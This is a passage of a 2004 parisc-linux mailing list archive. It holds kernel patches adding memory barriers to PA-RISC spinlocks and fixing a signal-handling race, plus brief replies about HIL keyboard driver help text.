  charset=us-ascii
X-Trace: ger.gmane.org 1416623528 10811 80.91.229.3 (22 Nov 2014 02:32:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:32:08 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:12 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 27521 invoked by uid 65534); 27 Aug 2004 06:05:15 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx030) with SMTP; 27 Aug 2004 08:05:15 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 130613BE1C; Fri, 27 Aug 2004 00:05:11 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 30546-03; Fri, 27 Aug 2004 00:05:10 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 352D03BDE2; Fri, 27 Aug 2004 00:05:03 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 2EBD53BDCE
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 27 Aug 2004 00:04:59 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 30429-06 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 27 Aug 2004 00:04:58 -0600 (MDT)
Original-Received: from mcmartin.ca
	(CPE0030ab0b413b-CM023469906297.cpe.net.cable.rogers.com
	[24.157.3.237])
	by free.linux.hp.com (Postfix) with ESMTP id 9FA1B3BDC9
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 27 Aug 2004 00:04:57 -0600 (MDT)
Original-Received: by mcmartin.ca (Postfix, from userid 1000)
	id D2AB1EF62; Fri, 27 Aug 2004 02:04:53 -0400 (EDT)
Content-Disposition: inline
In-Reply-To: <20040827060219.GD6949@colo.lackof.org>
User-Agent: Mutt/1.5.6i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21898

On Fri, Aug 27, 2004 at 12:02:19AM -0600, Grant Grundler wrote:
> Is HIL also used on HP m68k workstations as well?
> The ones that predate "snakes" workstations. eg HP 425.
> 
Apparently, some of our input changes came from that port, aiui.

Cheers,
-- 
Kyle McMartin
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:23 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: kyle@mcmartin.ca (Kyle McMartin)
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] memory barriers, spinlocks, debuglocks, oh my
Date: Fri, 27 Aug 2004 12:37:02 -0400
Lines: 138
Approved: news@gmane.org
Message-ID: <20040827163701.GA2414@mcmartin.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623529 10814 80.91.229.3 (22 Nov 2014 02:32:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:32:09 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:12 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 7177 invoked by uid 65534); 27 Aug 2004 16:37:51 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx018) with SMTP; 27 Aug 2004 18:37:51 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 18BCD3BE35; Fri, 27 Aug 2004 10:37:37 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 03962-02; Fri, 27 Aug 2004 10:37:36 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 5E7BD3BDF3; Fri, 27 Aug 2004 10:37:10 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 0D0623BDDB
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 27 Aug 2004 10:37:06 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 03458-06 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 27 Aug 2004 10:37:05 -0600 (MDT)
Original-Received: from mcmartin.ca
	(CPE0030ab0b413b-CM023469906297.cpe.net.cable.rogers.com
	[24.157.3.237])
	by free.linux.hp.com (Postfix) with ESMTP id F21CE3BDC9
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 27 Aug 2004 10:37:03 -0600 (MDT)
Original-Received: by mcmartin.ca (Postfix, from userid 1000)
	id 620F8ED2F; Fri, 27 Aug 2004 12:37:02 -0400 (EDT)
Content-Disposition: inline
User-Agent: Mutt/1.5.6i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21899

Not knowing anything about how 2.4 works, I hope this is enough,
ping me if it isn't, and I'll take another look.

	Regards,
		Kyle

arch/parisc/lib/locks.c         |    6 ++++++
include/asm-parisc/atomic.h     |   10 ++++++++--
include/asm-parisc/spinlock_t.h |   19 +++++++++++--------
3 files changed, 25 insertions(+), 10 deletions(-)


Index: arch/parisc/lib/locks.c
===================================================================
RCS file: /var/cvs/linux-2.4/arch/parisc/lib/locks.c,v
retrieving revision 1.1
diff -u -r1.1 locks.c
--- arch/parisc/lib/locks.c	16 Nov 2002 07:28:08 -0000	1.1
+++ arch/parisc/lib/locks.c	27 Aug 2004 16:12:50 -0000
@@ -22,6 +22,7 @@
 
 void spin_lock(spinlock_t *lock)
 {
+	mb();
 	int cpu = smp_processor_id();
 	unsigned int stuck = INIT_STUCK;
 	while (!__spin_trylock(lock)) {
@@ -39,19 +40,23 @@
 	}
 	lock->owner_pc = (unsigned long)__builtin_return_address(0);
 	lock->owner_cpu = cpu;
+	mb();
 }
 
 int spin_trylock(spinlock_t *lock)
 {
+	mb();
 	if (!__spin_trylock(lock))
 		return 0;
 	lock->owner_cpu = smp_processor_id(); 
 	lock->owner_pc = (unsigned long)__builtin_return_address(0);
+	mb();
 	return 1;
 }
 
 void spin_unlock(spinlock_t *lp)
 {
+	mb();
   	if ( lp->lock )
 		printk("spin_unlock(%p): no lock cpu %d curr PC %p %s/%d\n",
 		       lp, smp_processor_id(), __builtin_return_address(0),
@@ -63,6 +68,7 @@
 	lp->owner_pc = lp->owner_cpu = 0;
 	wmb();
 	lp->lock = 1;
+	mb();
 }
 
 #endif
Index: include/asm-parisc/atomic.h
===================================================================
RCS file: /var/cvs/linux-2.4/include/asm-parisc/atomic.h,v
retrieving revision 1.10
diff -u -r1.10 atomic.h
--- include/asm-parisc/atomic.h	13 Sep 2002 21:43:37 -0000	1.10
+++ include/asm-parisc/atomic.h	27 Aug 2004 16:13:00 -0000
@@ -30,8 +30,14 @@
  *
  * XXX REVISIT these could be renamed and moved to spinlock_t.h as well
  */
-#define SPIN_LOCK(x)	do { while(__ldcw(&(x)->lock) == 0); } while(0)
-#define SPIN_UNLOCK(x)  do { (x)->lock = 1; } while(0)
+#define SPIN_LOCK(x)    mb();     \
+                        do { while(__ldcw(&(x)->lock) == 0); } \
+                        while(0); \
+                        mb()
+#define SPIN_UNLOCK(x)  mb();     \
+                        do { (x)->lock = 1; } \
+                        while(0); \
+                        mb()
 
 #else	/* CONFIG_SMP */
 
Index: include/asm-parisc/spinlock_t.h
===================================================================
RCS file: /var/cvs/linux-2.4/include/asm-parisc/spinlock_t.h,v
retrieving revision 1.5
diff -u -r1.5 spinlock_t.h
--- include/asm-parisc/spinlock_t.h	7 May 2003 17:20:29 -0000	1.5
+++ include/asm-parisc/spinlock_t.h	27 Aug 2004 16:13:00 -0000
@@ -68,15 +68,18 @@
  * Writing this with asm also ensures that the unlock doesn't
  * get reordered
  */
-#define spin_unlock(x) \
-	__asm__ __volatile__ ("stw,ma  %%sp,0(%0)" : : "r" (&(x)->lock) : "memory" )
+#define spin_unlock(x) do { mb(); \
+ 	__asm__ __volatile__ ("stw,ma  %%sp,0(%0)" : : "r" (&(x)->lock) : "memory" ); \
+        mb(); } while(0)
+
+#define spin_unlock_wait(x) mb(); \
+ do { barrier(); } while(((volatile spinlock_t *)(x))->lock == 0); \
+ mb()
 
-#define spin_unlock_wait(x)     do { barrier(); } while(((volatile spinlock_t *)(x))->lock == 0)
-
-#define spin_lock(x) do { \
+#define spin_lock(x) do { mb(); \
 	while (__ldcw (&(x)->lock) == 0) \
 		while ((x)->lock == 0) ; \
-} while (0)
+        mb(); } while (0)
 
 #else
 
@@ -85,12 +88,12 @@
 
 /* Define 6 spinlock primitives that don't depend on anything else. */
 
-#define spin_lock_init(x)       do { (x)->lock = 1; (x)->owner_cpu = 0; (x)->owner_pc = 0; } while(0)
+#define spin_lock_init(x)       mb(); do { (x)->lock = 1; (x)->owner_cpu = 0; (x)->owner_pc = 0; } while(0); mb()
 #define spin_is_locked(x)       ((x)->lock == 0)
 void spin_lock(spinlock_t *lock);
 int spin_trylock(spinlock_t *lock);
 void spin_unlock(spinlock_t *lock);
-#define spin_unlock_wait(x)     do { barrier(); } while(((volatile spinlock_t *)(x))->lock == 0)
+#define spin_unlock_wait(x)     mb(); do { barrier(); } while(((volatile spinlock_t *)(x))->lock == 0); mb()
 
 #endif
 
-- 
Kyle McMartin
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:23 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] linux signal race fixes, patches against hppa tree,
	please test.
Date: Fri, 27 Aug 2004 14:26:26 -0400
Lines: 177
Approved: news@gmane.org
Message-ID: <20040827182626.GH25975@baldric.uwo.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623529 10815 80.91.229.3 (22 Nov 2014 02:32:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:32:09 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>,
 James Bottomley <James.Bottomley@steeleye.com>,
 Matthew Wilcox <willy@debian.org>,
 Randolph Chung <tausq@debian.org>
Original-X-From: - Wed Jul 02 21:27:12 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 32398 invoked by uid 65534); 27 Aug 2004 18:27:04 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx040) with SMTP; 27 Aug 2004 20:27:04 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 81A293BE48; Fri, 27 Aug 2004 12:26:55 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 05609-03; Fri, 27 Aug 2004 12:26:55 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 43FE73BE3D; Fri, 27 Aug 2004 12:26:49 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 5EB713BDF4
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 27 Aug 2004 12:26:41 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 05456-10 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 27 Aug 2004 12:26:40 -0600 (MDT)
Original-Received: from baldric.uwo.ca (baldric.uwo.ca [129.100.10.225])
	by free.linux.hp.com (Postfix) with ESMTP id 00DA23BDC9
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 27 Aug 2004 12:26:39 -0600 (MDT)
Original-Received: from carlos by baldric.uwo.ca with local (Exim 3.35 #1 (Debian))
	id 1C0lQh-00079w-00; Fri, 27 Aug 2004 14:26:27 -0400
Content-Disposition: inline
User-Agent: Mutt/1.3.28i
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (90% Sync Ratio [=========.])
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21900


jda,

This is more important for you, approximately 48 hours ago, Linus
commited a fix for a signal handling race.

http://linux.bkbits.net:8080/linux-2.6/cset@1.1846.1.48?nav=index.html|ChangeSet@-2d

That is the changeset, and included is a patch against our CVS head 
that fixes the race condition.

It could force a thread not to restart or crash, or do all sorts of
things. It may be the bug you are seeing.

Please test it out and see if it makes the builds more stable. It could
be the reason for random sigsegvs with expect/tcl.

The patch fixes our arch code so we *never* have a k_sigaction that
wasn't copied without a lock held.

The new code passes around a pointer to an arch allocated k_sigaction
and copies it with the lock held so it can't be changed between 'check'
and 'delivery.'

c.

Index: arch/parisc/kernel/signal.c
===================================================================
RCS file: /var/cvs/linux-2.6/arch/parisc/kernel/signal.c,v
retrieving revision 1.17
diff -u -p -r1.17 signal.c
--- arch/parisc/kernel/signal.c	31 Mar 2004 07:03:13 -0000	1.17
+++ arch/parisc/kernel/signal.c	27 Aug 2004 18:17:53 -0000
@@ -494,11 +494,9 @@ give_sigsegv:
  */	
 
 static long
-handle_signal(unsigned long sig, siginfo_t *info, sigset_t *oldset,
-	      struct pt_regs *regs, int in_syscall)
+handle_signal(unsigned long sig, siginfo_t *info, struct k_sigaction *ka,
+		sigset_t *oldset, struct pt_regs *regs, int in_syscall)
 {
-	struct k_sigaction *ka = &current->sighand->action[sig-1];
-
 	DBG(1,"handle_signal: sig=%ld, ka=%p, info=%p, oldset=%p, regs=%p\n",
 	       sig, ka, info, oldset, regs);
 	
@@ -506,9 +504,6 @@ handle_signal(unsigned long sig, siginfo
 	if (!setup_rt_frame(sig, ka, info, oldset, regs, in_syscall))
 		return 0;
 
-	if (ka->sa.sa_flags & SA_ONESHOT)
-		ka->sa.sa_handler = SIG_DFL;
-
 	if (!(ka->sa.sa_flags & SA_NODEFER)) {
 		spin_lock_irq(&current->sighand->siglock);
 		sigorsets(&current->blocked,&current->blocked,&ka->sa.sa_mask);
@@ -535,7 +530,7 @@ asmlinkage int
 do_signal(sigset_t *oldset, struct pt_regs *regs, int in_syscall)
 {
 	siginfo_t info;
-	struct k_sigaction *ka;
+	struct k_sigaction ka;
 	int signr;
 
 	DBG(1,"\ndo_signal: oldset=0x%p, regs=0x%p, sr7 %#lx, in_syscall=%d\n",
@@ -553,10 +548,15 @@ do_signal(sigset_t *oldset, struct pt_re
 		oldset->sig[0], oldset->sig[1]);
 
 
-	signr = get_signal_to_deliver(&info, regs, NULL);
-	DBG(3,"do_signal: signr = %d, regs->gr[28] = %ld\n", signr, regs->gr[28]); 
+	/* May need to force signal if handle_signal failed to deliver */
+	while (1) {
+	  
+		signr = get_signal_to_deliver(&info, &ka, regs, NULL);
+		DBG(3,"do_signal: signr = %d, regs->gr[28] = %ld\n", signr, regs->gr[28]); 
 	
-	if (signr > 0) {
+		if (signr <= 0)
+		  break;
+		
 		/* Restart a system call if necessary. */
 		if (in_syscall) {
 			/* Check the return code */
@@ -569,8 +569,7 @@ do_signal(sigset_t *oldset, struct pt_re
 				break;
 
 			case -ERESTARTSYS:
-				ka = &current->sighand->action[signr-1];
-				if (!(ka->sa.sa_flags & SA_RESTART)) {
+				if (!(ka.sa.sa_flags & SA_RESTART)) {
 					DBG(1,"ERESTARTSYS: putting -EINTR\n");
 					regs->gr[28] = -EINTR;
 					break;
@@ -578,8 +577,7 @@ do_signal(sigset_t *oldset, struct pt_re
 			/* fallthrough */
 			case -ERESTARTNOINTR:
 				/* A syscall is just a branch, so all
-                                   we have to do is fiddle the return
-                                   pointer. */
+				   we have to do is fiddle the return pointer. */
 				regs->gr[31] -= 8; /* delayed branching */
 				/* Preserve original r28. */
 				regs->gr[28] = regs->orig_r28;
@@ -589,12 +587,13 @@ do_signal(sigset_t *oldset, struct pt_re
 		/* Whee!  Actually deliver the signal.  If the
 		   delivery failed, we need to continue to iterate in
 		   this loop so we can deliver the SIGSEGV... */
-		if (handle_signal(signr, &info, oldset, regs, in_syscall)) {
+		if (handle_signal(signr, &info, &ka, oldset, regs, in_syscall)) {
 			DBG(1,KERN_DEBUG "do_signal: Exit (success), regs->gr[28] = %ld\n",
 				regs->gr[28]);
 			return 1;
 		}
 	}
+	/* end of while(1) looping forever if we can't force a signal */
 
 	/* Did we come from a system call? */
 	if (in_syscall) {
Index: kernel/signal.c
===================================================================
RCS file: /var/cvs/linux-2.6/kernel/signal.c,v
retrieving revision 1.22
diff -u -p -r1.22 signal.c
--- kernel/signal.c	20 Jul 2004 22:07:41 -0000	1.22
+++ kernel/signal.c	27 Aug 2004 18:17:53 -0000
@@ -1725,7 +1725,8 @@ static inline int handle_group_stop(void
 	return 1;
 }
 
-int get_signal_to_deliver(siginfo_t *info, struct pt_regs *regs, void *cookie)
+int get_signal_to_deliver(siginfo_t *info, struct k_sigaction *return_ka, 
+		struct pt_regs *regs, void *cookie)
 {
 	sigset_t *mask = &current->blocked;
 	int signr = 0;
@@ -1794,8 +1795,15 @@ relock:
 		ka = &current->sighand->action[signr-1];
 		if (ka->sa.sa_handler == SIG_IGN) /* Do nothing.  */
 			continue;
-		if (ka->sa.sa_handler != SIG_DFL) /* Run the handler.  */
+		if (ka->sa.sa_handler != SIG_DFL) {
+			/* Run the handler.  */
+			*return_ka = *ka;
+		  
+			if (ka->sa.sa_flags & SA_ONESHOT)
+			  ka->sa.sa_handler = SIG_DFL;
+			
 			break; /* will return non-zero "signr" value */
+		}
 
 		/*
 		 * Now we are doing the default action for this signal.
Index: include/linux/signal.h
===================================================================
RCS file: /var/cvs/linux-2.6/include/linux/signal.h,v
retrieving revision 1.5
diff -u -p -r1.5 signal.h
--- include/linux/signal.h	20 Jul 2004 22:07:35 -0000	1.5
+++ include/linux/signal.h	27 Aug 2004 18:17:53 -0000
@@ -217,7 +217,8 @@ extern int sigprocmask(int, sigset_t *, 
 
 #ifndef HAVE_ARCH_GET_SIGNAL_TO_DELIVER
 struct pt_regs;
-extern int get_signal_to_deliver(siginfo_t *info, struct pt_regs *regs, void *cookie);
+extern int get_signal_to_deliver(siginfo_t *info, struct k_sigaction *return_ka, 
+		struct pt_regs *regs, void *cookie);
 #endif
 
 int copy_siginfo_from_user(siginfo_t *to, siginfo_t __user *from);
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Stuart Brady <sdbrady@ntlworld.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [PATCH] New help text for HIL options
Date: Fri, 27 Aug 2004 09:20:23 +0100
Lines: 29
Approved: news@gmane.org
Message-ID: <20040827082023.GA5270@ntlworld.com>
References: <20040827012141.GA4746@ntlworld.com>
	<20040827060219.GD6949@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623529 10818 80.91.229.3 (22 Nov 2014 02:32:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:32:09 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:12 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 10613 invoked by uid 65534); 27 Aug 2004 08:21:03 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx012) with SMTP; 27 Aug 2004 10:21:03 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 248F63BDDB; Fri, 27 Aug 2004 02:21:00 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 31131-09; Fri, 27 Aug 2004 02:20:58 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id AA4A83BDE2; Fri, 27 Aug 2004 02:20:33 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B65973BDCE
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 27 Aug 2004 02:20:27 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 30607-10 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 27 Aug 2004 02:20:26 -0600 (MDT)
Original-Received: from mta05-svc.ntlworld.com (mta05-svc.ntlworld.com [62.253.162.45])
	by free.linux.hp.com (Postfix) with ESMTP id F26CD3BDC9
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 27 Aug 2004 02:20:25 -0600 (MDT)
Original-Received: from janus ([81.105.248.115]) by mta05-svc.ntlworld.com
	(InterMail vM.4.01.03.37 201-229-121-137-20020806) with ESMTP
	id <20040827081753.SIDQ11492.mta05-svc.ntlworld.com@janus>
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 27 Aug 2004 09:17:53 +0100
Original-Received: from sdb by janus with local (Exim 3.35 #1 (Debian))
	id 1C0byB-0001ND-00 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 27 Aug 2004 09:20:23 +0100
Content-Disposition: inline
In-Reply-To: <20040827060219.GD6949@colo.lackof.org>
User-Agent: Mutt/1.3.28i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21901

On Fri, Aug 27, 2004 at 12:02:19AM -0600, Grant Grundler wrote:
> On Fri, Aug 27, 2004 at 02:21:41AM +0100, Stuart Brady wrote:
> > I hope it's an improvement.
> 
> In general yes.
> Normally, Helge Deller deals with the HIL and related patches.
> I just had one question.
> 
> > -	  The "Human Interface Loop" is a older, 8-channel USB-like
> > +	  Say Y here (or to "HP HIL keyboard support") if you have a
> > +	  PA-RISC machine with a HIL keyboard connected. This driver does
> 
> Is HIL also used on HP m68k workstations as well?
> The ones that predate "snakes" workstations. eg HP 425.

The INPUT_HIL_OLD driver seems to support HP300s, so I think it should
depend on ( PARISC || HP300 ).  None of the other drivers do AFAICS, so
I'll just state this in the text.

Maybe the new HIL drivers could be ported to the HP300, but I don't have
one to test.
-- 
Stuart Brady
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:23 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
